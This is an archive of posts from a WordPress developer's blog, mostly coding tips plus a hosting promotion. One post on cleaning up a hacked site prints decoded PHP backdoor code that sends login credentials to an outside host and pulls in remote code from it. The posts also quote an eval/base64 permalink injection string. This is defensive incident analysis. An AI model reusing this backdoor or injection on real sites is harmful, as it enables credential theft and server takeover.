I Like WordPress!

WordPress Plugins – Using the Options Table Properly

Steve — Wed, 07 Jul 2010 16:02:52 +0000

Note: if you’re not a WordPress plugin developer, this probably won’t interest you.

I ran across this again today, hence my rant:

I installed a plugin from the WordPress Plugin Repository ( the place that hosts WordPress plugins so you can download them ), THEN looked through the code. This small specialty plugin added 17 options to the options table!

WP developer peeps, there is no excuse for this. By adding so many options, you clog up the options table. Unless you specify the option as an autoload, you’re using a database read every time you call get_option(). What a waste!

What should you do instead? Glad you asked!

Combine your options into an array. Easy smeasy. WordPress will store your options array as serialized data. Return get_option() to a variable at the start of your script, giving you easy access to all its components.

The WordPress core is getting sizable enough that responsible developers need to optimize their code as much as possible. Eliminating unnecessary database reads/writes is a good first step.

If you need an example, leave a comment and I’ll post one.

EDIT: as requested, here’s a couple of examples. First, what many developers do but shouldn’t:


$myoption1 = "ted";
$myoption2 = "fred";
$myoption3 = "jed";

update_option( 'myoption1', $myoption1);
update_option( 'myoption2', $myoption2);
update_option( 'myoption3', $myoption3);

Notice how the above uses 3 different options: myoption1, myoption2, myoption3. These take up 3 rows in the database, and require 3 different calls to get_option() when the data is needed. Now, 3 isn’t very many – but consider when your plugin uses 30 or 40 different options or presets ( some of mine do ). The potential to clutter up the database and cause a slowdown in your page load times is huge.

Here’s how you should code your options:


$myoptions = array( 'option1' => 'ted', 'option2' => 'fred', 'option3' => 'jed');
update_option( 'myoption', $myoptions );

And that’s all there is to it. The update_option function recognizes that you are passing an array and serializes the values for entry in the database. When you need to retrieve the options, simply call get_option into an array variable, and access from there. One call, 40 options. Lotsa overhead saved


$myoptions = get_option( 'myoption');

/*
now, $myoptions['option1'] = 'ted', $myoptions['option2'] = 'fred', and so on.
*/

147 Total TweetBacks: (Tweet this post)

Free Month Web Hosting from HostGator

Steve — Thu, 01 Jul 2010 20:03:13 +0000

I don’t put my stamp of approval on too many things, but I do need to tell you about the hosting that I use and highly recommend – HostGator.

I have been on the web for over 10 years now, and seen a lot of hosting companies come and go, and used several. Never have I had the experience that I have had with HostGator. It’s been, in a word, fantastic.

Remember to use the coupon code "ILIKEWORDPRESS" for your first month free!

Support

Number one, their support has been great. I have experienced a handful of isolated problems over the last 3 years I’ve been with them, and all were handled promptly, professionally, and FAST. There’s nothing worse than having a client call in the middle of the night crying, “my site is down!” In those situations, I need the problem handled quickly, and HostGator has never let me down.

Features

What a hosting company can do for me is important. I need technical goodies, I need plenty of bandwidth and storage space, and I don’t need to be nitpicked over how many databases I use. HostGator shines in that department. Unlimited storage, unlimited domains, unlimited bandwidth, unlimited MySQL databases. Of course, ‘unlimited’ doesn’t always mean unlimited. If your account starts hogging server resources, you’ll garner some attention.

That said, I’ve never had it be an issue. On one of my Baby accounts, I run 35 sites. Admittedly, they’re not high-volume super popular sites, but they get their share of traffic.

Special Deal for ILikeWordPress.com readers

HostGator has allowed me to offer you a special deal! Use the coupon code “ILIKEWORDPRESS” and get your first month’s Baby plan hosting for only $0.01!! That’s right – ONE PENNY. How cool is that?

Go ahead and get signed up – click any of the links to go to HostGator, or one of the banners, and remember to use coupon code ILIKEWORDPRESS at checkout for your discount!

65 Total TweetBacks: (Tweet this post)

Hide Blog Post Date In Your WordPress Theme

Steve — Thu, 24 Jun 2010 20:25:33 +0000

While visiting Lynn Terry’s Clicknewz blog, I noticed something that I hadn’t really given a lot of thought to: is there a reason to NOT display a blog post’s date? (Off-Topic Warning – Lynn writes a fantastic blog on Internet Marketing with posts like Taking Daily Action: Huge Goals, Little Steps – you really should check it out if you’re interested in making money on the net)

Anyway, Lynn doesn’t display post dates on her blog posts except for some of the archive listings. After checking out quite a few other blogs, I see that somewhere around 25% of bloggers do NOT put dates on their posts.

After communing with the great and powerful Google, I found this post by Darren Rowse of ProBlogger: Dates on Blog Posts – Should You Have Them? where he discusses the question at length.

I’m not going to get into the question of whether you should or shouldn’t display the date on your blog posts other than to say that personally, I find it annoying when I can’t find a post date. Knowing when a piece was written adds a certain relevance to my consideration of the post content.

One of the suggestions Darren made was to display the date only on recent posts:

Dates on Recent Posts But Not on Older Ones - I saw one blogger do this last year (I’m afraid I don’t remember who it was). They had hacked WordPress so that dates appeared on recent posts (within the last 3 months) but anything older than that did not have time stamps either on the post or comments. This meant that the blogger benefited from new posts looking new and took the potential distraction of old posts away from readers. I don’t know exactly how the blogger did it but presume they set up a rule that looked at the date of authorship and then determined whether the date would be displayed or not.

The ‘hack’ that Darren mentions is actually pretty easy, if you’re comfortable modifying your theme files. Using WordPress’s new “twentyten” theme that comes packed with WordPress 3.0, I’ll show you exactly what you have to do to show the post dates on single posts only if they’re fresher than 3 months old. 3 months is an arbitrary figure, by the way, so adjust it to whatever spins your prop.

Note: the new twentyten theme wraps up the post meta information ( date, author, etc.) into a function. When you disable this function, you’ll lose that line completely, exactly like Lynn’s posts.

I recommend that you do NOT use the built-in theme editor in WordPress, especially when you’re messing around with PHP coding. One misplaced semi-colon and you could render your blog DOA. Then the only cure is to use an FTP client and replace the screwed-up theme file. If you MUST use the built-in editor, be certain that you have a clean backup of the file you’re working on!

So, step one: locate the single.php file within the twentyten theme folder and make a backup.

Open single.php in your fav text editor. The section that holds the meta display code begins on line 25 and looks like this (disregard the line #s in the examples that follow):

What we’re going to do is to insert a test – is the post less than 90 days old? If so, display the post particulars. If not, leave it blank.

To do that, we’ll use a simple ‘if’ statement, comparing the date 90 days ago with that of the post. We will use PHP’s useful strtotime() date conversion function to make things easy:

 strtotime( "90 days ago" ) ) {
?>

The strtotime() function converts whatever is in the parentheses to a Unix timestamp. The function get_the_date() is a new WordPress 3.0 function that fetches the post date and returns it in the format specified in your preferences.

And there you have it – no more dates on posts older than 90 days old.

No TweetBacks yet. (Be the first to Tweet this post)

Protect Your Email Address From Spammers

Steve — Tue, 01 Jun 2010 15:11:30 +0000

So you’ve started a new blog, and now the worst has happened – the spammers have your email address. You know, the one that’s on every post where you’re listed as the author.

You can do what a lot of people do to combat the dreaded email harvester. Give them a throw-away address to chew on, and when the spam gets too bad close that account and start another. Throw-away addresses are the free accounts – Hotmail, Yahoo, GMail.

But that’s a pain.

Why not just make it so the spam bots can’t find your email address in the first place? Fortunately, it’s pretty easily done, using a built-in WordPress function: antispambot(). This function takes the email address enclosed in the parentheses, converts it to HTML entities ( the &#xx characters ) and returns the value.

How do you use it? Again, pretty simple. Somewhere in your templates, if the template author chose to display your email address at all, is a call to the WordPress template tag the_author_email(). This tag, as you might suspect, outputs the post author’s email address. Open your single.php template (the most likely template to display the author’s email address ) in your fav text editor, and search for the tag. Once you’ve found it, you’ll make the substitution. Change the_author_email() to the following:

echo antispambot( get_the_author_email())

Nothing to it, right?

Those of you with sharp eyes will notice we’re using a slightly different function to get the author’s email address – get_the_author_email() vs. the_author_email(). The difference is that the latter actually outputs the email address to the screen, and we don’t want that. We want to pass the email address to the antispambot() function rather than print it to the screen, so we use the get_the_author_email() function which returns the value rather than echoing it. Small but important distinction.

326 Total TweetBacks: (Tweet this post)

Graphic Design Book Blowout! Over 70% Off Retail!

Steve — Sun, 28 Mar 2010 17:27:02 +0000

I am done completely with print design and design in general. Because it’s also spring-cleaning time for my office in preparation for a move, these books really need to find a new home. I would prefer to sell them as one package, but let me know if there’s one or two that you want.

There are almost $250 worth of books here, all in good shape. They have been read, though, so they’re not pristine.

Buy-it-now price: $75 + $10 shipping, total $85. Hit the preloaded PayPal button below or at the end of the post. Yes, you can use credit card or debit card.

Or – give me an offer. I’d like to see these go to someone who can use them and will appreciate them.

Graphic effects and typographic treatments. Jim Krause, $22.99 USD. ISBN 1-58180-046-0

Brochure, poster/flyer, web design, advertising, newsletter, page layout, stationery ideas. Jim Krause, $22.99 USD. ISBN 1-58180-146-7

An index of 150+ concepts, images and exercises to ignite your design ingenuity. Jim Krause, $24.99 USD. ISBN 1-58180-438-5

Over 1100 Color Combinations, CMYK & RGB Formulas, for print and web media. Jim Krause, $23.99 USD. ISBN 1-58180-236-6

A graphic designer’s guide to designing effective compositions, selecting dynamic components & devloping creative concepts. Jim Krause, $24.99 USD. ISBN 1-58180-501-2

375+ pages of design ideas, edited by the famous David E. Carter, $29.99 USD. ISBN 0-06-008763-3

Design and Typographic Principles for the Visual Novice, Robin Williams, $14.95USD. ISBN 1-56609-159-4

The Non-Designer’s Type Book, Robin Williams, $24.99USD. ISBN 0-201-35367-9

Everything you need to know to create dynamic layouts. Graham Davis, $21.99USD. ISBN 1-58180-260-9

Design principles, decisions, projects. David Dabner, $23.99USD. ISBN 1-58180-435-0

No TweetBacks yet. (Be the first to Tweet this post)

Cleaning Up the Aftermath of a Hacker Attack

Steve — Wed, 09 Sep 2009 17:52:28 +0000

The same project that led to the post Loading WordPress From index.php involved cleaning up after a hacking incident. In fact, that’s what the initial work order was for.

This blog was hit recently by the same attack that has been in the news for the last few days. Lorelle on WordPress wrote some things about it:

There are two clues that your WordPress site has been attacked.

There are strange additions to the pretty permalinks, such as example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/. The keywords are “eval” and “base64_decode.”

The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize. You will probably be unable to access that account, but Journey Etc. has a possible solution.

This blog was different in that there were no other admin accounts created. The same code was appearing in permalinks ( and was, indeed, shown in Settings -> Permalinks ).

Another symptom of this type of general attack are posts that are filled with spam links enclosed within HTML comment tags. You’ll not see them, but Google does.

Looking a little deeper, I found evidence of another previous hack job. The server error log contained hundreds of these entries:

[Wed Sep  8 11:40:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/downlaod.nod.32.php
[Wed Sep  8 11:38:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/instalation.com.php
[Wed Sep  8 11:38:04 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/muonline.win_mu.php
[Wed Sep  8 11:36:19 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/DV-driver.crack.php
[Wed Sep  8 11:35:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/koolmoves.5.key.php
[Wed Sep  8 11:34:34 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/inurl:.free.xxx.php
[Wed Sep  8 11:33:16 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crak.do.flash.5.php
[Wed Sep  8 11:32:23 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/wow.1.10.2.enus.php
[Wed Sep  8 11:31:31 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/torrent.stylexp.php
[Wed Sep  8 11:28:53 2009] [error] [client 66.249.71.154] File does not exist: /home/clientfiles/public_html/wp-content/plugins/podpress/crack.for.harry.php

WTF? 66.249.71.154, according to reverse IP lookup, is Googlebot. Why is Googlebot trying to load these files? Still haven’t found the answer to THAT question. But what I find next begins to shed some light…

I poke around in the filesystem, and I find a number of folders within the WordPress wp-content folder that had extra files added to them (including the plugins/podpress folder):

.htaccess
date.php
time.php
include.php

The filenames between the folders were all different, with the exception that they all had an .htaccess file. Here’s what was in .htaccess file in the wp-content/header folder:

Options -MultiViews

ErrorDocument 404 //wp-content/header/time.php

So what’s happening is that any request for http://domain.com/wp-content/themes/header/anyfilename.php would result in time.php being served as the 404 page.

And time.php (along with all the other added php files) is a nasty little bugger:

So the code turns off error reporting, then says to eval (run) the code enclosed in quote marks after base64 decoding. I haven’t taken the time to figure out what the class that the file defines does, but somehow I don’t think it’s anything nice. After decoding, this is the file contents:


 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
function error($msg='not connected') {if ($this->options & STREAM_REPORT_ERRORS) {trigger_error($msg, E_USER_WARNING);}return false;}
function stream_open($path, $mode, $options, $opened_path) {$this->fullurl = $path;$this->options = $options;$this->defmode = $mode;$url = parse_url($path);if (empty($url['host'])) {return $this->error('missing host name');}$this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2);if (!$this->conn_id) {return false;} if (empty($url['path'])) {$url['path'] = '/';}$this->p_url = $url;$this->flushed = false;if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) {$this->mode += 2;}$this->binary = (strpos($mode, 'b') !== false);$c = $this->context();if (!isset($c['method'])) {stream_context_set_option($this->context, 'http', 'method', 'GET');}if (!isset($c['header'])) {stream_context_set_option($this->context, 'http', 'header', '');}if (!isset($c['user_agent'])) {stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent'));}if (!isset($c['content'])) {stream_context_set_option($this->context, 'http', 'content', '');}if (!isset($c['max_redirects'])) {stream_context_set_option($this->context, 'http', 'max_redirects', 5);}return true;}
function stream_close() { if ($this->conn_id) { fclose($this->conn_id);$this->conn_id = null;} }
function stream_read($bytes) { if (!$this->conn_id) { return $this->error();} if (!$this->flushed && !$this->stream_flush()) { return false;} if (feof($this->conn_id)) { return '';} $bytes = max(1,$bytes);if ($this->binary) { return fread($this->conn_id, $bytes);} else { return fgets($this->conn_id, $bytes);} }
function stream_write($data) { if (!$this->conn_id) { return $this->error();} if (!$this->mode & 2) { return $this->error('Stream is in read-only mode');} $c = $this->context();stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST'));if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data);} return 0;}
function stream_eof() { if (!$this->conn_id) { return true;} if (!$this->flushed) { return false;} return feof($this->conn_id);}
function stream_seek($offset, $whence) { return false;}
function stream_tell() { return 0;}
function stream_flush() { if ($this->flushed) { return false;} if (!$this->conn_id) { return $this->error();} $c = $this->context();$this->flushed = true;$RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' );if (!empty($c['header'])) { $RequestHeaders[] = $c['header'];} if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain');} else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded';} $RequestHeaders[] = 'Content-Length: '.strlen($c['content']);} $RequestHeaders[] = 'Connection: close';if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false;} if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false;} global $http_response_header;$http_response_header = fgets($this->conn_id, 300);$data = rtrim($http_response_header);preg_match('#.* ([0-9]+) (.*)#i', $data, $head);if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300));while (!empty($data)) { if (strpos($data, 'Location: ') !== false) { $new_location = trim(str_replace('Location: ', '', $data));break;} $data = rtrim(fgets($this->conn_id, 300));} trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE);$this->stream_close();return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush());} $data = rtrim(fgets($this->conn_id, 1024));while (!empty($data)) { $http_response_header .= $data."\r\n";if (strpos($data,'Content-Length: ') !== false) { $this->stat['size'] = trim(str_replace('Content-Length: ', '', $data));} elseif (strpos($data,'Date: ') !== false) { $this->stat['atime'] = strtotime(str_replace('Date: ', '', $data));} elseif (strpos($data,'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_replace('Last-Modified: ', '', $data));} $data = rtrim(fgets($this->conn_id, 1024));} if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING);return false;} if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE);return false;} return true;}
function stream_stat() { $this->stream_flush();return $this->stat;}
function dir_opendir($path, $options) { return false;}
function dir_readdir() { return '';}
function dir_rewinddir() { return '';}
function dir_closedir() { return;}
function url_stat($path, $flags) { return array();}
function context() { if (!$this->context) { $this->context = stream_context_create();} $c = stream_context_get_options($this->context);return (isset($c['http']) ? $c['http'] : array());}}
if(isset($_POST["l"]) and isset($_POST["p"])){if(isset($_POST["input"])){$user_auth="&l=".base64_encode($_POST["l"])."&p=".base64_encode(md5($_POST["p"]));} else {$user_auth="&l=".$_POST["l"]."&p=".$_POST["p"];}} else {$user_auth="";}if(!isset($_POST["log_flg"])){$log_flg="&log";}$rkht=1;if(version_compare(PHP_VERSION,'5.2','>=')){if(ini_get('allow_url_include')){$rkht=1;}else{$rkht=0;}}if($rkht==1){if(ini_get('allow_url_fopen')){$rkht=1;}else{$rkht=0;}}$v=$p.base64_decode("LnVzZXJzLmJpc2hlbGwucnU=")."/?r_addr=".sprintf("%u", ip2long(getenv("REMOTE_ADDR")))."&url=".base64_encode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]).$user_auth.$log_flg;if($rkht==1){if(!@include_once(base64_decode("aHR0cDovLw==").$v)){}}else{stream_wrapper_register('http2','newhttp');if(!@include_once(base64_decode("aHR0cDI6Ly8=").$v)){}}
?>

Anyway, that’s what I found, that’s what I had to clean up. Six and a half hours to go through all of the files looking for this thing, cleaning up as I went.

UPDATE:

Since writing this post, I’ve completed 4 more site cleanups — each averaging over 4 hours. Gets rather expensive, guys and girls.

Please keep your WordPress installs up to date. That’s the most efficient way to guard against this kind of maliciousness.

564 Total TweetBacks: (Tweet this post)

Loading WordPress From index.php

Steve — Wed, 09 Sep 2009 16:31:13 +0000

One of WordPress’ strengths is its attention to SEO-related issues in its core files. One of those issues is the problem of having the home page of the blog indexed twice in the search engines; once under the actual address, http://domain-name.com/index.php, and the other as the plain domain name: http://domain-name.com. Note that this is a different problem than the trailing slash problem ( http://domain-name.com/ vs. http://domain-name.com ) which WordPress also takes care of.

WordPress handles the index.php problem by rewriting requests for http://domain-name.com/index.php to http://domain-name.com. All well and good, and beneficial for most sites.

But that rewriting/redirecting caused some problems on a site I was working on yesterday, and once I figured out how, it was a relatively easy fix.

Here’s what happened: a client had me upgrade an old installation of SemioLogic’s version of WordPress to genuine WordPress. While it can be time-consuming, switching over is a fairly straightforward process most of the time. The challenge here was that while most of the site is normal .html files, WordPress is installed at the root level, and is not actually serving the ‘home’ page of the site.

So you can maybe see where this is headed: the ‘home’ page of the site is index.html. That’s what comes up when you ask for http://domain-name.com. The server is set to look for index.html first, then index.php if index.html isn’t there. So to get to the blog, you had to ask for http://domain-name.com/index.php.

But when you asked for index.php, WordPress, being the dutiful SEO-friendly software that it is, stripped off “index.php” from the request, and redirected to http://domain-name.com.

The server saw the request for the site index file and promptly served up index.html. So you couldn’t get to the home page of the blog. If you had a specific post URL and typed it in, it worked fine.

Easy fix, says I. Settings -> General, change the WordPress url to http://domain-name.com/index.php from http://domain-name.com.

Oops. Now all the permalinks have ‘index.php/’ prepended: http://domain-name.com/index.php/i-want-this-post. Not good, and not intended, especially as the site has been indexed in Google without the index.php in there.

I never did figure out how SemioLogic handled this; obviously it was working before the changeover. Undoubtedly there was an easy setting that disappeared once the SL files were gone. I can only think this issue had come up before and the author of SL provided a workaround.

Thankfully, the coders of WordPress also recognized that there may be a time when rewriting URLs wasn’t good so they provided a filter to disable or alter the rewrite. Once I found that notation in includes/canonical.php, the fix was a breeze. Write a plugin that disables the redirect to / when /index.php is called for. Here is the entire plugin:

And that’s all there is to it. Now when a browser asks for ‘index.php’, that’s what it gets instead of a redirection to /.

You could also put this in the functions.php file of a theme, but obviously it wouldn’t work if the theme were changed.

176 Total TweetBacks: (Tweet this post)

Don’t Subscribe To My Post Comments If You’re a SpamArrest Customer

Steve — Sun, 06 Sep 2009 22:03:13 +0000

On this and other blogs, I have a recurring pain in the butt issue. Some people subscribe to a comment thread, and upon every comment following, I get a challenge email from SpamArrest when the notification of a new comment email is sent.

Here’s news: I don’t click the verify link. As a matter of fact, I don’t even GET the verify link. All of those verification emails go straight to my trash can. I realize this might not be very reader-friendly, but I simply don’t have time to open up every email and click those stupid links, even if I were inclined to.

So please – if you’re a spamarrest customer and you want to subscribe to a comment thread, put ilikewordpress.com on whatever kind of whitelist they have so you can get the subscription notifications. Otherwise, you won’t get any notices from this site about updated comments.

No TweetBacks yet. (Be the first to Tweet this post)

Protecting Your WordPress Blog From Hackers, Crackers, and Jerks

Steve — Sun, 06 Sep 2009 20:15:35 +0000

The last few days have seen a rash of hacker attacks on WordPress blogs, with isolated reports going back a month or more. Without exception, as far as I can tell, the successful attacks were on blogs running outdated older versions of WordPress. The latest exploits involve hidden admin users and permalinks polluted with javascript code, outlined in these posts on the WordPress support forum:

http://wordpress.org/support/topic/307652
http://wordpress.org/support/topic/297639
http://wordpress.org/support/topic/307518

WP 2.8.3 and 2.8.4 are NOT vulnerable to this exploit. If you’ve been hacked any time in the last month, and you’re running pre-2.8.3 software, the monkey’s on YOUR back. If you were hacked and running up-to-date version of WP, send the details to security@wordpress.org please.

If you’ve been lax and haven’t upgraded to the latest version, don’t do it until you’ve determined whether or not you’ve already been invaded. If you have, clean it up first, then upgrade. (Be sure you read the “Beyond Upgrading” section at the end of this post)

How To Tell If You’ve Been Hacked

Two clues: check your permalinks, check your administrator users.

Permalinks: from your front page, hover over a link to a single post. Look in the status bar at the bottom of your browser. If you see text like ‘mypost/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/‘ then you’ve been had.

Log into your dashboard, go to the Users->Authors and Users page. At the top, you’ll see links that let you display users by their status. Look at the Administrator (x) link. How many admins do you have on your blog? If you’ve been hacked, the number in parentheses will be one higher than your actual admin count. In other words, if you’re a single-person blogger, you’ll see (2) for the Administrator count.

There are a couple of other hacks out there that aren’t related to this one; we’ll cover those in a little bit.

What To Do If You’ve Been Hacked

I’m going to be right up front with you — this one isn’t an easy one to clean up.

Step #1: clean up your permalink structure. Hover over a link to a post on your blog, and make a note of your permalink structure. The two most popular permalink structures are ‘day – name’, i.e. http://ilikewordpress.com/2009/09/06/sample-post/ or ‘month-name’, i.e. http://ilikewordpress.com/2009/09/sample-post/ . Some more advanced users may have different setups.

In your Dashboard, go to Settings -> Permalinks. In the input box, delete all the malicious code. What you leave will vary, determined by what your permalink structure was. If you’re using one of the two ‘standard’ structures, select a different one, then reselect your original, then click the Update button. If you’re using a custom structure ( like I am on ilikewordpress.com ), you’ll need to clear the input box and enter the proper tags, i.e. /%post_id%/%postname%/ like I have here.

Step #2: get rid of the extra administrator. This is a little trickier. There are two ways to do this, first is through your Authors & Users page, the second is directly through the database.

Method #1, through the Authors & Users page: follow the instructions here from Journey Etc. to clean out the malicious user.

Method #2, directly through the database, is a little more complicated. Contact me if you want instructions on how to do it. Generally, unless you have other issues, it’s much easier to use Method #1.

Step #3: upgrade your WordPress software.

If you’re stuck with using FTP, follow these upgrade instructions from the WordPress Codex.

If you’re lucky enough ( or had enough foresight ) to be on hosting that gives you shell access, here’s a 5 minute upgrade path:

Log into your hosting account through your SSH client. Navigate to your WordPress folder. Do the following (don’t do the lines prefaced by ## ):


## move config.php out of the way

mv wp-config.php wp-config.php.bak

## get rid of existing WP files

rm -rf wp-includes wp-admin wp-*.php xmlrpc.php

## get new wordpress files

wget http://wordpress.org/latest.zip

## uncompress

unzip latest.zip

## unzipped files were stored in /wordpress, copy from there

cp -R wordpress/* .

## get rid of zip and wordpress dir

rm -rf wordpress latest.zip

## restore config

mv wp-config.php.bak wp-config.php

## done!

If you’ve followed the upgrade path through several versions, it is essential that you upgrade your wp-config.php file to the latest version that contains the authentication keys.

If you want to do it directly on your server through vim, you can, but it’s probably easier to make a new config file and upload it through FTP.

Beyond Upgrading

After you’ve upgraded your WordPress software, you’ll want to make sure you’re doing everything you can to keep this from happening again. Unless, of course, you like cleaning up after these people.

To start, review Michael VanDeMar’s post on How to Completely Clean Your Hacked WordPress Installation. Much good info there.

Second, install the WP Security Scan plugin and use it.

Third, don’t do stupid things. Use strong passwords, upgrade when new releases come out. They’re not just eye candy.

188 Total TweetBacks: (Tweet this post)

Skype Can Be a Pain In the Ass

Steve — Sun, 06 Sep 2009 19:26:16 +0000

I don’t restart my computer very often; it mostly runs 24/7. So when I did have occasion to do a restart, I was hit with the issue that my development instance of Apache wouldn’t start. I would get the error: “Windows could not start Apache 2.2 on Local Computer. For more information, review the System Event Log. If this is a non-Microsoft service, contact the service vendor, and refer to service-specific error code 1.”

Never one to follow instructions, after several retries, much teeth-gnashing and hair-pulling, I decided I might make more headway were I to have a look at the Apache error log.

Nothing. Zip. Zilch. Zero. Nada. Just a note that the httpd.pid file had been overwritten.

So, maybe following suggestions is a good thing. Opened up the WinXP event viewer. Hallelujah, there it is.

“The Apache service named reported the following error: >>> no listening sockets available, shutting down.”

I have Apache configured to listen on port 80, so I don’t have to go through shenanigans when I’m developing a site. What this error is telling me is that port 80 isn’t available to attach to – probably because some other program got there first.

I’ve never had this problem before. What’s different between now and the last time I restarted my machine with no problems?

Aha! I upgraded Skype.

Sure enough: shut down Skype, Apache starts up normally.

Skype was hijacking my listening socket, and because it’s higher up on the auto-start list than Apache, Apache choked.

AFAICT, this wasn’t previous Skype behavior. I’ve never had the issue before, so logically the last upgrade changed things.

So I set Skype to start manually instead of automatically. Problem solved.

45 minutes wasted, never to return. I know that’s not much, but still.

No TweetBacks yet. (Be the first to Tweet this post)